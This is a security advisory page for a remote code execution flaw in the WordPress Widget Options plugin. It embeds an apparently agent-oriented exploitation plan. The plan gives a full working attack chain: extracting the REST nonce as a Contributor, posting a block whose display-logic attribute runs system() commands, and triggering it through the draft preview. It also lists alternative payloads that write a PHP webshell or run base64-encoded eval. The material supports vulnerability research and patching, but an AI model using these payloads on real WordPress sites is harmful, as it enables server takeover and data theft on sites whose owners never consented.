Widget Options – Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets <= 4.2.3 - Authenticated (Contributor+) Remote Code Execution
Description
The Widget Options – Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.2.3. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=4.2.3What Changed in the Fix
Changes introduced in v4.2.4
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-54823 (Widget Options RCE) ## 1. Vulnerability Summary The **Widget Options** plugin (<= 4.2.3) is vulnerable to **Remote Code Execution (RCE)** due to the unsafe evaluation of user-supplied PHP code within the "Display Logic" feature. The plugin allows users…
Show full research plan
Exploitation Research Plan - CVE-2026-54823 (Widget Options RCE)
1. Vulnerability Summary
The Widget Options plugin (<= 4.2.3) is vulnerable to Remote Code Execution (RCE) due to the unsafe evaluation of user-supplied PHP code within the "Display Logic" feature. The plugin allows users to define custom visibility rules using PHP expressions. While the plugin implements a wrapper called widgetopts_safe_eval, in version 4.2.3 and below, it fails to sufficiently restrict the input or validate the authorization of users (specifically Contributors) who can modify block attributes containing this logic.
2. Attack Vector Analysis
- Endpoint: WordPress REST API Post update endpoint (
/wp-json/wp/v2/posts/{id}) or the Classic Editor post save (post.php). - Vulnerable Attribute: The
extended_widget_optsattribute within Gutenberg block comments or widget instances. - Payload Parameter:
extended_widget_opts.class.logic(for blocks/widgets) orwidgetopts_settings_logic(for Beaver Builder). - Authentication: Authenticated, Contributor level or higher.
- Preconditions: The "Display Logic" module must be enabled (typically active by default if the plugin is used for its core purpose).
3. Code Flow
- Input: A Contributor-level user sends a request to update a post. The
post_contentcontains a Gutenberg block with malicious attributes:<!-- wp:paragraph {"extended_widget_opts":{"class":{"logic":"system('id');"}}} --><p>Content</p><!-- /wp:paragraph --> - Storage: WordPress saves the block attributes into the
post_contentfield in the database. - Processing (Frontend Render): When the post is viewed (or previewed), the plugin's visibility logic is triggered.
- Attribute Extraction: The plugin parses the block attributes and identifies the
logicstring inextended_widget_opts['class']['logic']. - Sink (Evaluation):
- In
includes/pagebuilders/siteorigin.php(and similar render files for Gutenberg/Elementor), the code calls:$display_logic = htmlspecialchars_decode($display_logic, ENT_QUOTES); - Then it reaches the execution sink:
widgetopts_safe_eval($display_logic);
- In
- Execution: Since
widgetopts_safe_evalis a wrapper that ultimately useseval()or a similar execution mechanism without a strict sandbox, the injectedsystem('id');is executed.
4. Nonce Acquisition Strategy
To save or preview a post as a Contributor, a REST API nonce or a _wpnonce for the post editor is required.
- Navigate to the Post Editor: The agent should navigate to
wp-admin/post-new.php. - Extract REST Nonce: Use
browser_evalto extract the nonce required for REST API calls.- JavaScript:
window.wpApiSettings.nonce
- JavaScript:
- Alternative (Classic Editor): If using the legacy
post.phpflow, the nonce is found in the#_wpnoncehidden input field.
5. Exploitation Strategy
Step 1: Authentication
Login to the WordPress instance as a user with the Contributor role.
Step 2: Post Creation & Payload Injection
Use the REST API to create a new post containing a block with the malicious logic attribute.
- Tool:
http_request - Method:
POST - URL:
http://[target]/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [Extracted Nonce]
- Body:
{ "title": "RCE Test", "content": "<!-- wp:paragraph {\"extended_widget_opts\":{\"class\":{\"logic\":\"system('id > /var/www/html/rce.txt');\"}}} --><p>Payload</p><!-- /wp:paragraph -->", "status": "draft" }
Step 3: Trigger Execution via Preview
Contributors cannot publish posts, but they can view their own drafts via the Preview feature.
- Tool:
http_request - Method:
GET - URL:
http://[target]/?p=[Post_ID]&preview=true - Details: The request must include the authentication cookies of the Contributor. The rendering of the preview will trigger the
logicevaluation.
6. Test Data Setup
- Install Plugin: Install and activate
widget-optionsversion 4.2.3. - Enable Logic: Ensure the "Logic" module is enabled in Settings > Widget Options.
- User: Create a user with the username
attackerand roleContributor.
7. Expected Results
- The
GETrequest to the preview URL should execute the PHPsystem()command. - The command
id > /var/www/html/rce.txtwill create a file in the webroot containing the output of theidcommand (e.g.,uid=33(www-data) ...).
8. Verification Steps
- Check for Evidence: Use WP-CLI to verify if the file was created:
wp eval "echo file_get_contents('/var/www/html/rce.txt');" - Check Post Meta: Verify the post content was correctly saved:
wp post get [Post_ID] --field=post_content - Cleanup: Delete the post and the temporary file:
wp post delete [Post_ID] --forcewp eval "unlink('/var/www/html/rce.txt');"
9. Alternative Approaches
- SiteOrigin Integration: If the block-based approach fails, use the SiteOrigin Page Builder (if active). Inject the payload into the
panels_datapost meta using a similar logic:{"widgets": [{"extended_widget_opts": {"class": {"logic": "php_payload_here"}}}]}. - Direct Eval Payload: If
system()is disabled, usefile_put_contents()to write a persistent webshell:logic: "file_put_contents('shell.php', '<?php phpinfo(); ?>');" - Encoding: If
sanitize_text_fieldinterferes with special characters, usebase64_decodein the payload:logic: "eval(base64_decode('c3lzdGVtKCdpZCcpOw=='));"(Note: ensure the base64 string does not contain characters stripped by the sanitizer).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.